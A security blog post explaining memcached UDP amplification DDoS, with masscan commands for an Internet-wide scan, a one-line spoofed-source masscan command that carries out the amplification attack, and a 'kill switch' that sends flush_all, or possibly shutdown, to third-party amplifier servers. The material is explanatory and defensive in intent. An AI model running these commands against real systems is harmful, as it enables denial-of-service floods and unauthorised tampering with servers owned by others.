Errata Security: Some notes on memcached DDoS

I thought I'd write up some notes on the memcached DDoS. Specifically, I describe how many I found scanning the Internet with masscan, and how to use masscan as a killswitch to neuter the worst of the attacks.

Test your servers

I added code to my port scanner for this, then scanned the Internet:

masscan 0.0.0.0/0 -pU:11211 --banners | grep memcached

This example scans the entire Internet (/0). Replaced 0.0.0.0/0 with your address range (or ranges).

This produces output that looks like this:

Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13

Banner on port 11211/udp on 89.110.149.218: [memcached] uptime=3935192 time=1520485363 version=1.4.17

Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13

Banner on port 11211/udp on 84.200.45.2: [memcached] uptime=399858 time=1520485362 version=1.4.20

Banner on port 11211/udp on 5.1.66.2: [memcached] uptime=29429482 time=1520485363 version=1.4.20

Banner on port 11211/udp on 103.248.253.112: [memcached] uptime=2879363 time=1520485366 version=1.2.6

Banner on port 11211/udp on 193.240.236.171: [memcached] uptime=42083736 time=1520485365 version=1.4.13

The "banners" check filters out those with valid memcached responses, so you don't get other stuff that isn't memcached. To filter this output further, use the 'cut' to grab just column 6:

... | cut -d ' ' -f 6 | cut -d: -f1

You often get multiple responses to just one query, so you'll want to sort/uniq the list:

... | sort | uniq

My results from an Internet wide scan

I got 15181 results (or roughly 15,000).

People are using Shodan to find a list of memcached servers. They might be getting a lot results back that response to TCP instead of UDP. Only UDP can be used for the attack.

Other researchers scanned the Internet a few days ago and found ~31k. I don't know if this means people have been removing these from the Internet.

Masscan as exploit script

BTW, you can not only use masscan to find amplifiers, you can also use it to carry out the DDoS. Simply import the list of amplifier IP addresses, then spoof the source address as that of the target. All the responses will go back to the source address.

masscan -iL amplifiers.txt -pU:11211 --spoof-ip --rate 100000

I point this out to show how there's no magic in exploiting this. Numerous exploit scripts have been released, because it's so easy.

Why memcached servers are vulnerable

Like many servers, memcached listens to local IP address 127.0.0.1 for local administration. By listening only on the local IP address, remote people cannot talk to the server.

However, this process is often buggy, and you end up listening on either 0.0.0.0 (all interfaces) or on one of the external interfaces. There's a common Linux network stack issue where this keeps happening, like trying to get VMs connected to the network. I forget the exact details, but the point is that lots of servers that intend to listen only on 127.0.0.1 end up listening on external interfaces instead. It's not a good security barrier.

Thus, there are lots of memcached servers listening on their control port (11211) on external interfaces.

How the protocol works

The protocol is documented here. It's pretty straightforward.

The easiest amplification attacks is to send the "stats" command. This is 15 byte UDP packet that causes the server to send back either a large response full of useful statistics about the server. You often see around 10 kilobytes of response across several packets.

A harder, but more effect attack uses a two step process. You first use the "add" or "set" commands to put chunks of data into the server, then send a "get" command to retrieve it. You can easily put 100-megabytes of data into the server this way, and causes a retrieval with a single "get" command.

That's why this has been the largest amplification ever, because a single 100-byte packet can in theory cause a 100-megabytes response.

Doing the math, the 1.3 terabit/second DDoS divided across the 15,000 servers I found vulnerable on the Internet leads to an average of 100-megabits/second per server. This is fairly minor, and is indeed something even small servers (like Raspberry Pis) can generate.

Neutering the attack ("kill switch")

If they are using the more powerful attack against you, you can neuter it: you can send a "flush_all" command back at the servers who are flooding you, causing them to drop all those large chunks of data from the cache.

I'm going to describe how I would do this.

First, get a list of attackers, meaning, the amplifiers that are flooding you. The way to do this is grab a packet sniffer and capture all packets with a source port of 11211. Here is an example using tcpdump.

tcpdump -i -w attackers.pcap src port 11221

Let that run for a while, then hit [ctrl-c] to stop, then extract the list of IP addresses in the capture file. The way I do this is with tshark (comes with Wireshark):

tshark -r attackers.pcap -Tfields -eip.src | sort | uniq > amplifiers.txt

Now, craft a flush_all payload. There are many ways of doing this. For example, if you are using nmap or masscan, you can add the bytes to the nmap-payloads.txt file. Also, masscan can read this directly from a packet capture file. To do this, first craft a packet, such as with the following command line foo:

echo -en "\x00\x00\x00\x00\x00\x01\x00\x00flush_all\r\n" | nc -q1 -u 11211

Capture this packet using tcpdump or something, and save into a file "flush_all.pcap". If you want to skip this step, I've already done this for you, go grab the file from GitHub:

https://github.com/robertdavidgraham/masscan/tree/master/data

Now that we have our list of attackers (amplifiers.txt) and a payload to blast at them (flush_all.pcap), use masscan to send it:

masscan -iL amplifiers.txt -pU:112211 --pcap-payload flush_all.pcap

Reportedly, "shutdown" may also work to completely shutdown the amplifiers. I'll leave that as an exercise for the reader, since of course you'll be adversely affecting the servers.